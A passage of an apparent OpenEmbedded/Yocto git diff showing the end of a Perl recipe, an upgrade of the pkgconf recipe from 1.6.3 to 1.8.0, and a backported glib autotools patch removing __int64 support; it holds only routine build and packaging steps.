+ oe_runmake
+ # This isn't generated reliably so delete and re-generate.
+ # https://github.com/arsv/perl-cross/issues/86
+
+ if [ -e pod/perltoc.pod ]; then
+ bbnote Rebuilding perltoc.pod
+ rm -f pod/perltoc.pod
+ oe_runmake pod/perltoc.pod
+ fi
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+
+ install -d ${D}${libdir}/perl5
+ install -d ${D}${libdir}/perl5/${PV}/
+ install -d ${D}${libdir}/perl5/${PV}/ExtUtils/
+
+ # Save native config
+ install config.sh ${D}${libdir}/perl5
+ install lib/Config.pm ${D}${libdir}/perl5/${PV}/
+ install lib/ExtUtils/typemap ${D}${libdir}/perl5/${PV}/ExtUtils/
+
+ # Fix up shared library
+ dir=$(echo ${D}/${libdir}/perl5/${PV}/*/CORE)
+ rm $dir/libperl.so
+ ln -sf ../../../../libperl.so.${PERL_LIB_VER} $dir/libperl.so
+
+ # Try to catch Bug #13946
+ if [ -e ${D}/${libdir}/perl5/${PV}/Storable.pm ]; then
+ bbfatal 'non-arch specific Storable.pm found! See https://bugzilla.yoctoproject.org/show_bug.cgi?id=13946'
+ fi
+}
+
+do_install:append:class-target() {
+ # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
+ ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
+
+ # This contains host-specific information used for building miniperl (a helper executable built with host compiler)
+ # and therefore isn't reproducible. I believe the file isn't actually needed on target.
+ rm ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/xconfig.h
+}
+
+do_install:append:class-nativesdk() {
+ # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
+ ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
+
+ create_wrapper ${D}${bindir}/perl \
+ PERL5LIB='$PERL5LIB:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/site_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/vendor_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/${PV}'
+}
+
+do_install:append:class-native () {
+ # Those wrappers mean that perl installed from sstate (which may change
+ # path location) works and that in the nativesdk case, the SDK can be
+ # installed to a different location from the one it was built for.
+ create_wrapper ${D}${bindir}/perl-native/perl PERL5LIB='$PERL5LIB:${STAGING_LIBDIR}/perl5/site_perl/${PV}:${STAGING_LIBDIR}/perl5/vendor_perl/${PV}:${STAGING_LIBDIR}/perl5/${PV}'
+
+ # Use /usr/bin/env nativeperl for the perl script.
+ for f in `grep -Il '#! *${bindir}/perl' ${D}/${bindir}/*`; do
+ sed -i -e 's|${bindir}/perl|/usr/bin/env nativeperl|' $f
+ done
+}
+
+PACKAGE_PREPROCESS_FUNCS += "perl_package_preprocess"
+
+perl_package_preprocess () {
+ # Fix up installed configuration
+ sed -i -e "s,${D},,g" \
+ -e "s,${DEBUG_PREFIX_MAP},,g" \
+ -e "s,--sysroot=${STAGING_DIR_HOST},,g" \
+ -e "s,-isystem${STAGING_INCDIR} ,,g" \
+ -e "s,${STAGING_LIBDIR},${libdir},g" \
+ -e "s,${STAGING_BINDIR},${bindir},g" \
+ -e "s,${STAGING_INCDIR},${includedir},g" \
+ -e "s,${STAGING_BINDIR_NATIVE}/perl-native/,${bindir}/,g" \
+ -e "s,${STAGING_BINDIR_NATIVE}/,,g" \
+ -e "s,${STAGING_BINDIR_TOOLCHAIN}/${TARGET_PREFIX},${bindir},g" \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ ${PKGD}${bindir}/h2xs.perl \
+ ${PKGD}${bindir}/h2ph.perl \
+ ${PKGD}${bindir}/pod2man.perl \
+ ${PKGD}${bindir}/pod2text.perl \
+ ${PKGD}${bindir}/pod2usage.perl \
+ ${PKGD}${bindir}/podchecker.perl \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/config.h \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/perl.h \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/pp.h \
+ ${PKGD}${libdir}/perl5/${PV}/Config.pm \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pod \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_git.pl \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy.pl \
+ ${PKGD}${libdir}/perl5/${PV}/ExtUtils/Liblist/Kid.pm \
+ ${PKGD}${libdir}/perl5/${PV}/FileCache.pm \
+ ${PKGD}${libdir}/perl5/${PV}/pod/*.pod \
+ ${PKGD}${libdir}/perl5/config.sh
+}
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-misc = "corelist cpan enc2xs encguess h2ph h2xs instmodsh json_pp libnetcfg \
+ piconv pl2pm pod2html pod2man pod2text pod2usage podchecker \
+ prove ptar ptardiff ptargrep shasum splain xsubpp zipdetails"
+ALTERNATIVE_LINK_NAME[corelist] = "${bindir}/corelist"
+ALTERNATIVE_LINK_NAME[cpan] = "${bindir}/cpan"
+ALTERNATIVE_LINK_NAME[enc2xs] = "${bindir}/enc2xs"
+ALTERNATIVE_LINK_NAME[encguess] = "${bindir}/encguess"
+ALTERNATIVE_LINK_NAME[h2ph] = "${bindir}/h2ph"
+ALTERNATIVE_LINK_NAME[h2xs] = "${bindir}/h2xs"
+ALTERNATIVE_LINK_NAME[instmodsh] = "${bindir}/instmodsh"
+ALTERNATIVE_LINK_NAME[json_pp] = "${bindir}/json_pp"
+ALTERNATIVE_LINK_NAME[libnetcfg] = "${bindir}/libnetcfg"
+ALTERNATIVE_LINK_NAME[piconv] = "${bindir}/piconv"
+ALTERNATIVE_LINK_NAME[pl2pm] = "${bindir}/pl2pm"
+ALTERNATIVE_LINK_NAME[pod2html] = "${bindir}/pod2html"
+ALTERNATIVE_LINK_NAME[pod2man] = "${bindir}/pod2man"
+ALTERNATIVE_LINK_NAME[pod2text] = "${bindir}/pod2text"
+ALTERNATIVE_LINK_NAME[pod2usage] = "${bindir}/pod2usage"
+ALTERNATIVE_LINK_NAME[podchecker] = "${bindir}/podchecker"
+ALTERNATIVE_LINK_NAME[prove] = "${bindir}/prove"
+ALTERNATIVE_LINK_NAME[ptar] = "${bindir}/ptar"
+ALTERNATIVE_LINK_NAME[ptardiff] = "${bindir}/ptardiff"
+ALTERNATIVE_LINK_NAME[ptargrep] = "${bindir}/ptargrep"
+ALTERNATIVE_LINK_NAME[shasum] = "${bindir}/shasum"
+ALTERNATIVE_LINK_NAME[splain] = "${bindir}/splain"
+ALTERNATIVE_LINK_NAME[xsubpp] = "${bindir}/xsubpp"
+ALTERNATIVE_LINK_NAME[zipdetails] = "${bindir}/zipdetails"
+
+require perl-ptest.inc
+
+FILES:${PN} = "${bindir}/perl ${bindir}/perl.real ${bindir}/perl${PV} ${libdir}/libperl.so* \
+ ${libdir}/perl5/site_perl \
+ ${libdir}/perl5/${PV}/Config.pm \
+ ${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
+ ${libdir}/perl5/${PV}/*/Config_git.pl \
+ ${libdir}/perl5/${PV}/*/Config_heavy-target.pl \
+ ${libdir}/perl5/config.sh \
+ ${libdir}/perl5/${PV}/strict.pm \
+ ${libdir}/perl5/${PV}/warnings.pm \
+ ${libdir}/perl5/${PV}/warnings \
+ ${libdir}/perl5/${PV}/vars.pm \
+ ${libdir}/perl5/site_perl \
+ ${libdir}/perl5/${PV}/ExtUtils/MANIFEST.SKIP \
+ ${libdir}/perl5/${PV}/ExtUtils/xsubpp \
+ ${libdir}/perl5/${PV}/ExtUtils/typemap \
+ "
+RPROVIDES:${PN} += "perl-module-strict perl-module-vars perl-module-config perl-module-warnings \
+ perl-module-warnings-register"
+
+FILES:${PN}-staticdev:append = " ${libdir}/perl5/${PV}/*/CORE/libperl.a"
+
+FILES:${PN}-dev:append = " ${libdir}/perl5/${PV}/*/CORE"
+
+FILES:${PN}-doc:append = " ${libdir}/perl5/${PV}/Unicode/Collate/*.txt \
+ ${libdir}/perl5/${PV}/*/.packlist \
+ ${libdir}/perl5/${PV}/Encode/encode.h \
+ "
+PACKAGES += "${PN}-misc"
+
+FILES:${PN}-misc = "${bindir}/*"
+
+PACKAGES += "${PN}-pod"
+
+FILES:${PN}-pod = "${libdir}/perl5/${PV}/pod \
+ ${libdir}/perl5/${PV}/*.pod \
+ ${libdir}/perl5/${PV}/*/*.pod \
+ ${libdir}/perl5/${PV}/*/*/*.pod \
+ ${libdir}/perl5/${PV}/*/*/*/*.pod \
+ "
+
+PACKAGES += "${PN}-module-cpan ${PN}-module-unicore"
+
+FILES:${PN}-module-cpan += "${libdir}/perl5/${PV}/CPAN \
+ "
+FILES:${PN}-module-unicore += "${libdir}/perl5/${PV}/unicore"
+
+ALTERNATIVE_PRIORITY = "40"
+ALTERNATIVE:${PN}-doc = "Thread.3"
+ALTERNATIVE_LINK_NAME[Thread.3] = "${mandir}/man3/Thread.3"
+
+# Create a perl-modules package recommending all the other perl
+# packages (actually the non modules packages and not created too)
+ALLOW_EMPTY:${PN}-modules = "1"
+PACKAGES += "${PN}-modules "
+
+PACKAGESPLITFUNCS:prepend = "split_perl_packages "
+
+python split_perl_packages () {
+ libdir = d.expand('${libdir}/perl5/${PV}')
+ do_split_packages(d, libdir, r'.*/auto/([^.]*)/[^/]*\.(so|ld|ix|al)', '${PN}-module-%s', 'perl module %s', recursive=True, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'.*linux/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'Module/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'Module/([^\/]*)/.*', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'.*linux/([^\/].*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'(^(?!(CPAN\/|CPANPLUS\/|Module\/|unicore\/|.*linux\/)[^\/]).*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+
+ # perl-modules should recommend every perl module, and only the
+ # modules. Don't attempt to use the result of do_split_packages() as some
+ # modules are manually split (eg. perl-module-unicore).
+ packages = filter(lambda p: 'perl-module-' in p, d.getVar('PACKAGES').split())
+ d.setVar(d.expand("RRECOMMENDS:${PN}-modules"), ' '.join(packages))
+
+ # Read the pre-generated dependency file, and use it to set module dependecies
+ for line in open(d.expand("${WORKDIR}") + '/perl-rdepends.txt').readlines():
+ splitline = line.split()
+ # Filter empty lines and comments
+ if len(splitline) == 0 or splitline[0].startswith("#"):
+ continue
+ if bb.data.inherits_class('native', d):
+ module = splitline[0] + '-native'
+ depends = "perl-native"
+ else:
+ module = splitline[0].replace("RDEPENDS:perl", "RDEPENDS:${PN}")
+ depends = splitline[2].strip('"').replace("perl-module", "${PN}-module")
+ d.appendVar(d.expand(module), " " + depends)
+}
+
+python() {
+ if d.getVar('CLASSOVERRIDE') == "class-target":
+ d.setVar("PACKAGES_DYNAMIC", "^${MLPREFIX}perl-module-.*(?<!native)$")
+ elif d.getVar('CLASSOVERRIDE') == "class-native":
+ d.setVar("PACKAGES_DYNAMIC", "^perl-module-.*-native$")
+ elif d.getVar('CLASSOVERRIDE') == "class-nativesdk":
+ d.setVar("PACKAGES_DYNAMIC", "^nativesdk-perl-module-.*")
+}
+
+RDEPENDS:${PN}-misc += "perl perl-modules"
+RDEPENDS:${PN}-pod += "perl"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SSTATE_SCAN_FILES += "*.pm *.pod *.h *.pl *.sh"
+
+do_create_rdepends_inc() {
+ cd ${WORKDIR}
+ cat <<'EOPREAMBLE' > ${WORKDIR}/perl-rdepends.inc
+
+# Some additional dependencies that the above doesn't manage to figure out
+RDEPENDS:${PN}-module-file-spec += "${PN}-module-file-spec-unix"
+RDEPENDS:${PN}-module-io-file += "${PN}-module-symbol"
+RDEPENDS:${PN}-module-math-bigint += "${PN}-module-math-bigint-calc"
+RDEPENDS:${PN}-module-test-builder += "${PN}-module-list-util"
+RDEPENDS:${PN}-module-test-builder += "${PN}-module-scalar-util"
+RDEPENDS:${PN}-module-test-builder-formatter += "${PN}-module-test2-formatter-tap"
+RDEPENDS:${PN}-module-test2-api += "${PN}-module-test2-event-fail"
+RDEPENDS:${PN}-module-test2-api += "${PN}-module-test2-event-pass"
+RDEPENDS:${PN}-module-test2-api += "${PN}-module-test2-event-v2"
+RDEPENDS:${PN}-module-test2-formatter-tap += "${PN}-module-test2-formatter"
+RDEPENDS:${PN}-module-thread-queue += "${PN}-module-attributes"
+RDEPENDS:${PN}-module-overload += "${PN}-module-overloading"
+
+# Generated depends list beyond this line
+EOPREAMBLE
+ test -e packages-split.new && rm -rf packages-split.new
+ cp -r packages-split packages-split.new && cd packages-split.new
+ find . -name \*.pm | xargs sed -i '/^=head/,/^=cut/d'
+ egrep -r "^\s*(\<use .*|\<require .*);?" perl-module-* --include="*.pm" | \
+ sed "s/\/.*\.pm: */ += /g;s/[\"\']//g;s/;.*/\"/g;s/+= .*\(require\|use\)\> */+= \"perl-module-/g;s/CPANPLUS::.*/cpanplus/g;s/CPAN::.*/cpan/g;s/::/-/g;s/ [^+\"].*//g;s/_/-/g;s/\.pl\"$/\"/;s/\"\?\$/\"/;s/(//;s/)//;" | tr [:upper:] [:lower:] | \
+ awk '{if ($3 != "\x22"$1"\x22"){ print $0}}'| \
+ grep -v -e "\-vms\-" -e module-5 -e "^$" -e "\\$" -e your -e tk -e autoperl -e html -e http -e parse-cpan -e perl-ostype -e ndbm-file -e module-mac -e fcgi -e lwp -e dbd -e dbix | \
+ sort -u | \
+ sed 's/^/RDEPENDS:/;s/perl-module-/${PN}-module-/g;s/module-\(module-\)/\1/g;s/\(module-load\)-conditional/\1/g;s/encode-configlocal/&-pm/;' | \
+ egrep -wv '=>|module-a|module-apache.?|module-apr|module-authen-sasl|module-b-asmdata|module-convert-ebcdic|module-devel-size|module-digest-perl-md5|module-dumpvalue|module-extutils-constant-aaargh56hash|module-extutils-xssymset|module-file-bsdglob|module-for|module-it|module-io-socket-inet6|module-io-socket-ssl|module-io-string|module-ipc-system-simple|module-lexical|module-local-lib|metadata|module-modperl-util|module-pluggable-object|module-test-builder-io-scalar|module-text-unidecode|module-unicore|module-win32|objects\sload|syscall.ph|systeminfo.ph|%s' | \
+ egrep -wv '=>|module-algorithm-diff|module-carp|module-c<extutils-mm-unix>|module-l<extutils-mm-unix>|module-encode-hanextra|module-extutils-makemaker-version-regex|module-file-spec|module-io-compress-lzma|module-io-uncompress-unxz|module-locale-maketext-lexicon|module-log-agent|module-meta-notation|module-net-localcfg|module-net-ping-external|module-b-deparse|module-scalar-util|module-some-module|module-symbol|module-uri|module-win32api-file' > ${WORKDIR}/perl-rdepends.generated
+ cat ${WORKDIR}/perl-rdepends.inc ${WORKDIR}/perl-rdepends.generated > ${THISDIR}/files/perl-rdepends.txt
+}
+
+# bitbake perl -c create_rdepends_inc
+addtask do_create_rdepends_inc
+
+SYSROOT_PREPROCESS_FUNCS += "perl_sysroot_create_wrapper"
+
+perl_sysroot_create_wrapper () {
+ mkdir -p ${SYSROOT_DESTDIR}${bindir}
+ # Create a wrapper that /usr/bin/env perl will use to get perl-native.
+ # This MUST live in the normal bindir.
+ cat > ${SYSROOT_DESTDIR}${bindir}/nativeperl << EOF
+#!/bin/sh
+realpath=\`readlink -fn \$0\`
+exec \`dirname \$realpath\`/perl-native/perl "\$@"
+EOF
+ chmod 0755 ${SYSROOT_DESTDIR}${bindir}/nativeperl
+ cat ${SYSROOT_DESTDIR}${bindir}/nativeperl
+}
+
+SSTATE_HASHEQUIV_FILEMAP = " \
+ populate_sysroot:*/lib*/perl5/*/*/Config_heavy.pl:${TMPDIR} \
+ populate_sysroot:*/lib*/perl5/*/*/Config_heavy.pl:${COREBASE} \
+ populate_sysroot:*/lib*/perl5/config.sh:${TMPDIR} \
+ populate_sysroot:*/lib*/perl5/config.sh:${COREBASE} \
+ "
diff --git a/meta/recipes-devtools/pkgconf/pkgconf_1.6.3.bb b/meta/recipes-devtools/pkgconf/pkgconf_1.6.3.bb
deleted file mode 100644
index 94bc112b9f..0000000000
--- a/meta/recipes-devtools/pkgconf/pkgconf_1.6.3.bb
+++ /dev/null
@@ -1,69 +0,0 @@
-SUMMARY = "pkgconf provides compiler and linker configuration for development frameworks."
-DESCRIPTION = "pkgconf is a program which helps to configure compiler and linker \
-flags for development frameworks. It is similar to pkg-config from \
-freedesktop.org, providing additional functionality while also maintaining \
-compatibility."
-HOMEPAGE = "http://pkgconf.org"
-BUGTRACKER = "https://github.com/pkgconf/pkgconf/issues"
-SECTION = "devel"
-PROVIDES += "pkgconfig"
-RPROVIDES_${PN} += "pkgconfig"
-DEFAULT_PREFERENCE = "-1"
-
-# The pkgconf license seems to be functionally equivalent to BSD-2-Clause or
-# ISC, but has different wording, so needs its own name.
-LICENSE = "pkgconf"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2214222ec1a820bd6cc75167a56925e0"
-
-SRC_URI = "\
- https://distfiles.dereferenced.org/pkgconf/pkgconf-${PV}.tar.xz \
- file://pkg-config-wrapper \
- file://pkg-config-native.in \
- file://pkg-config-esdk.in \
-"
-SRC_URI[md5sum] = "f93fb1be95a5cb62e43c219c82b5791a"
-SRC_URI[sha256sum] = "61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210"
-
-inherit autotools
-
-EXTRA_OECONF += "--with-pkg-config-dir='${libdir}/pkgconfig:${datadir}/pkgconfig'"
-
-do_install_append () {
- # Install a wrapper which deals, as much as possible with pkgconf vs
- # pkg-config compatibility issues.
- install -m 0755 "${WORKDIR}/pkg-config-wrapper" "${D}${bindir}/pkg-config"
-}
-
-do_install_append_class-native () {
- # Install a pkg-config-native wrapper that will use the native sysroot instead
- # of the MACHINE sysroot, for using pkg-config when building native tools.
- sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
- < ${WORKDIR}/pkg-config-native.in > ${B}/pkg-config-native
- install -m755 ${B}/pkg-config-native ${D}${bindir}/pkg-config-native
- sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
- -e "s|@LIBDIR_NATIVE@|${PKG_CONFIG_LIBDIR}|" \
- < ${WORKDIR}/pkg-config-esdk.in > ${B}/pkg-config-esdk
- install -m755 ${B}/pkg-config-esdk ${D}${bindir}/pkg-config-esdk
-}
-
-# When using the RPM generated automatic package dependencies, some packages
-# will end up requiring 'pkgconfig(pkg-config)'. Allow this behavior by
-# specifying an appropriate provide.
-RPROVIDES_${PN} += "pkgconfig(pkg-config)"
-
-# Include pkg.m4 in the main package, leaving libpkgconf dev files in -dev
-FILES_${PN}-dev_remove = "${datadir}/aclocal"
-FILES_${PN} += "${datadir}/aclocal"
-
-BBCLASSEXTEND += "native nativesdk"
-
-pkgconf_sstate_fixup_esdk () {
- if [ "${BB_CURRENTTASK}" = "populate_sysroot_setscene" -a "${WITHIN_EXT_SDK}" = "1" ] ; then
- pkgconfdir="${SSTATE_INSTDIR}/recipe-sysroot-native/${bindir_native}"
- mv $pkgconfdir/pkg-config $pkgconfdir/pkg-config.real
- lnr $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
- sed -i -e "s|^pkg-config|pkg-config.real|" $pkgconfdir/pkg-config-native
- fi
-}
-
-SSTATEPOSTUNPACKFUNCS_append_class-native = " pkgconf_sstate_fixup_esdk"
diff --git a/meta/recipes-devtools/pkgconf/pkgconf_1.8.0.bb b/meta/recipes-devtools/pkgconf/pkgconf_1.8.0.bb
new file mode 100644
index 0000000000..887e15e28c
--- /dev/null
+++ b/meta/recipes-devtools/pkgconf/pkgconf_1.8.0.bb
@@ -0,0 +1,67 @@
+SUMMARY = "pkgconf provides compiler and linker configuration for development frameworks."
+DESCRIPTION = "pkgconf is a program which helps to configure compiler and linker \
+flags for development frameworks. It is similar to pkg-config from \
+freedesktop.org, providing additional functionality while also maintaining \
+compatibility."
+HOMEPAGE = "http://pkgconf.org"
+BUGTRACKER = "https://github.com/pkgconf/pkgconf/issues"
+SECTION = "devel"
+PROVIDES += "pkgconfig"
+RPROVIDES:${PN} += "pkgconfig"
+
+# The pkgconf license seems to be functionally equivalent to BSD-2-Clause or
+# ISC, but has different wording, so needs its own name.
+LICENSE = "pkgconf"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2214222ec1a820bd6cc75167a56925e0"
+
+SRC_URI = "\
+ https://distfiles.dereferenced.org/pkgconf/pkgconf-${PV}.tar.xz \
+ file://pkg-config-wrapper \
+ file://pkg-config-native.in \
+ file://pkg-config-esdk.in \
+"
+SRC_URI[sha256sum] = "ef9c7e61822b7cb8356e6e9e1dca58d9556f3200d78acab35e4347e9d4c2bbaf"
+
+inherit autotools
+
+EXTRA_OECONF += "--with-pkg-config-dir='${libdir}/pkgconfig:${datadir}/pkgconfig'"
+
+do_install:append () {
+ # Install a wrapper which deals, as much as possible with pkgconf vs
+ # pkg-config compatibility issues.
+ install -m 0755 "${WORKDIR}/pkg-config-wrapper" "${D}${bindir}/pkg-config"
+}
+
+do_install:append:class-native () {
+ # Install a pkg-config-native wrapper that will use the native sysroot instead
+ # of the MACHINE sysroot, for using pkg-config when building native tools.
+ sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
+ < ${WORKDIR}/pkg-config-native.in > ${B}/pkg-config-native
+ install -m755 ${B}/pkg-config-native ${D}${bindir}/pkg-config-native
+ sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
+ -e "s|@LIBDIR_NATIVE@|${PKG_CONFIG_LIBDIR}|" \
+ < ${WORKDIR}/pkg-config-esdk.in > ${B}/pkg-config-esdk
+ install -m755 ${B}/pkg-config-esdk ${D}${bindir}/pkg-config-esdk
+}
+
+# When using the RPM generated automatic package dependencies, some packages
+# will end up requiring 'pkgconfig(pkg-config)'. Allow this behavior by
+# specifying an appropriate provide.
+RPROVIDES:${PN} += "pkgconfig(pkg-config)"
+
+# Include pkg.m4 in the main package, leaving libpkgconf dev files in -dev
+FILES:${PN}-dev:remove = "${datadir}/aclocal"
+FILES:${PN} += "${datadir}/aclocal"
+
+BBCLASSEXTEND += "native nativesdk"
+
+pkgconf_sstate_fixup_esdk () {
+ if [ "${BB_CURRENTTASK}" = "populate_sysroot_setscene" -a "${WITHIN_EXT_SDK}" = "1" ] ; then
+ pkgconfdir="${SSTATE_INSTDIR}/recipe-sysroot-native/${bindir_native}"
+ mv $pkgconfdir/pkg-config $pkgconfdir/pkg-config.real
+ ln -rs $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
+ sed -i -e "s|^pkg-config|pkg-config.real|" $pkgconfdir/pkg-config-native
+ fi
+}
+
+SSTATEPOSTUNPACKFUNCS:append:class-native = " pkgconf_sstate_fixup_esdk"
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-remove-support-for-the-__int64-type.-See-1.patch b/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-remove-support-for-the-__int64-type.-See-1.patch
new file mode 100644
index 0000000000..bee4585724
--- /dev/null
+++ b/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-remove-support-for-the-__int64-type.-See-1.patch
@@ -0,0 +1,144 @@
+From 7e821441c482917e54435a07893272d87d3ad9e5 Mon Sep 17 00:00:00 2001
+From: Christoph Reiter <reiter.christoph@gmail.com>
+Date: Fri, 24 Aug 2018 19:43:04 +0200
+Subject: [PATCH] autotools: remove support for the __int64 type. See #1313
+
+__int64 was the 64bit type for Visual Studio before it added support for
+"long long" with VS2013. I think this was used to build glib with mingw and
+make the result usable for VS 6.0 which didn't support "long long" (??)
+
+Given that newer MSVC links against a different crt and mixing is not supported
+and everything supports "long long" nowadays just remove it.
+
+This is also a cleanup for printf format changes needed for #1497
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Backport [https://github.com/GNOME/glib/commit/7e821441c4]
+---
+ configure.ac | 43 ++++---------------------------------------
+ 1 file changed, 4 insertions(+), 39 deletions(-)
+
+--- a/glib/configure.ac
++++ b/glib/configure.ac
+@@ -550,7 +550,6 @@ AC_CHECK_SIZEOF(long)
+ AC_CHECK_SIZEOF(int)
+ AC_CHECK_SIZEOF(void *)
+ AC_CHECK_SIZEOF(long long)
+-AC_CHECK_SIZEOF(__int64)
+
+ AC_CACHE_CHECK([for sig_atomic_t], ac_cv_type_sig_atomic_t,
+ [AC_TRY_LINK([#include <signal.h>
+@@ -564,7 +563,7 @@ if test x$ac_cv_type_sig_atomic_t = xyes
+ [Define if you have the 'sig_atomic_t' type.])
+ fi
+
+-if test x$ac_cv_sizeof_long = x8 || test x$ac_cv_sizeof_long_long = x8 || test x$ac_cv_sizeof___int64 = x8 ; then
++if test x$ac_cv_sizeof_long = x8 || test x$ac_cv_sizeof_long_long = x8 ; then
+ :
+ else
+ AC_MSG_ERROR([
+@@ -573,7 +572,7 @@ else
+ ])
+ fi
+
+-AS_IF([test x$glib_native_win32 != xyes && test x$ac_cv_sizeof_long_long = x8], [
++AS_IF([test x$ac_cv_sizeof_long_long = x8], [
+ # long long is a 64 bit integer.
+ AC_MSG_CHECKING(for format to printf and scanf a guint64)
+ AC_CACHE_VAL(glib_cv_long_long_format,[
+@@ -599,14 +598,6 @@ AS_IF([test x$glib_native_win32 != xyes
+ AC_DEFINE(HAVE_INT64_AND_I64,1,[define to support printing 64-bit integers with format I64])
+ fi
+ ], [AC_MSG_RESULT(none)])
+-],[ test x$ac_cv_sizeof___int64 = x8], [
+- # __int64 is a 64 bit integer.
+- AC_MSG_CHECKING(for format to printf and scanf a guint64)
+- # We know this is MSVCRT.DLL, and what the formats are
+- glib_cv_long_long_format=I64
+- AC_MSG_RESULT(%${glib_cv_long_long_format}u)
+- AC_DEFINE(HAVE_LONG_LONG_FORMAT,1,[define if system printf can print long long])
+- AC_DEFINE(HAVE_INT64_AND_I64,1,[define to support printing 64-bit integers with format I64])
+ ])
+
+ AC_C_CONST
+@@ -872,9 +863,6 @@ case $ac_cv_sizeof_size_t in
+ $ac_cv_sizeof_long_long)
+ glib_size_type='long long'
+ ;;
+- $ac_cv_sizeof__int64)
+- glib_size_type='__int64'
+- ;;
+ *) AC_MSG_ERROR([No type matching size_t in size])
+ ;;
+ esac
+@@ -931,9 +919,6 @@ case $ac_cv_sizeof_ssize_t in
+ $ac_cv_sizeof_long_long)
+ glib_ssize_type='long long'
+ ;;
+- $ac_cv_sizeof__int64)
+- glib_ssize_type='__int64'
+- ;;
+ *) AC_MSG_ERROR([No type matching ssize_t in size])
+ ;;
+ esac
+@@ -2985,17 +2970,6 @@ $ac_cv_sizeof_long_long)
+ gint64_constant='(G_GNUC_EXTENSION (val##LL))'
+ guint64_constant='(G_GNUC_EXTENSION (val##ULL))'
+ ;;
+-$ac_cv_sizeof___int64)
+- gint64='__int64'
+- if test -n "$glib_cv_long_long_format"; then
+- gint64_modifier='"'$glib_cv_long_long_format'"'
+- gint64_format='"'$glib_cv_long_long_format'i"'
+- guint64_format='"'$glib_cv_long_long_format'u"'
+- fi
+- glib_extension=
+- gint64_constant='(val##i64)'
+- guint64_constant='(val##ui64)'
+- ;;
+ esac
+ glib_size_t=$ac_cv_sizeof_size_t
+ glib_ssize_t=$ac_cv_sizeof_ssize_t
+@@ -3020,7 +2994,7 @@ long)
+ gsize_format='"lu"'
+ glib_msize_type='LONG'
+ ;;
+-"long long"|__int64)
++"long long")
+ gsize_modifier='"I64"'
+ gsize_format='"I64u"'
+ glib_msize_type='INT64'
+@@ -3043,7 +3017,7 @@ long)
+ gssize_format='"li"'
+ glib_mssize_type='LONG'
+ ;;
+-"long long"|__int64)
++"long long")
+ gssize_modifier='"I64"'
+ gssize_format='"I64i"'
+ glib_mssize_type='INT64'
+@@ -3080,14 +3054,6 @@ $ac_cv_sizeof_long_long)
+ glib_gpi_cast='(gint64)'
+ glib_gpui_cast='(guint64)'
+ ;;
+-$ac_cv_sizeof___int64)
+- glib_intptr_type_define=__int64
+- gintptr_modifier='"I64"'
+- gintptr_format='"I64i"'
+- guintptr_format='"I64u"'
+- glib_gpi_cast='(gint64)'
+- glib_gpui_cast='(guint64)'
+- ;;
+ *)
+ glib_unknown_void_p=yes
+ ;;
+@@ -3258,9 +3224,6 @@ $ac_cv_sizeof_long)
+ $ac_cv_sizeof_long_long)
+ gint64='long long'
+ ;;
+-$ac_cv_sizeof___int64)
+- gint64='__int64'
+- ;;
+ esac
+
+ AC_CHECK_TYPE([guint32],,,[typedef unsigned $gint32 guint32;])
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-use-C99-printf-format-specifiers-on-Window.patch b/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-use-C99-printf-format-specifiers-on-Window.patch
new file mode 100644
index 0000000000..a4e92da34b
--- /dev/null
+++ b/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-use-C99-printf-format-specifiers-on-Window.patch
@@ -0,0 +1,68 @@
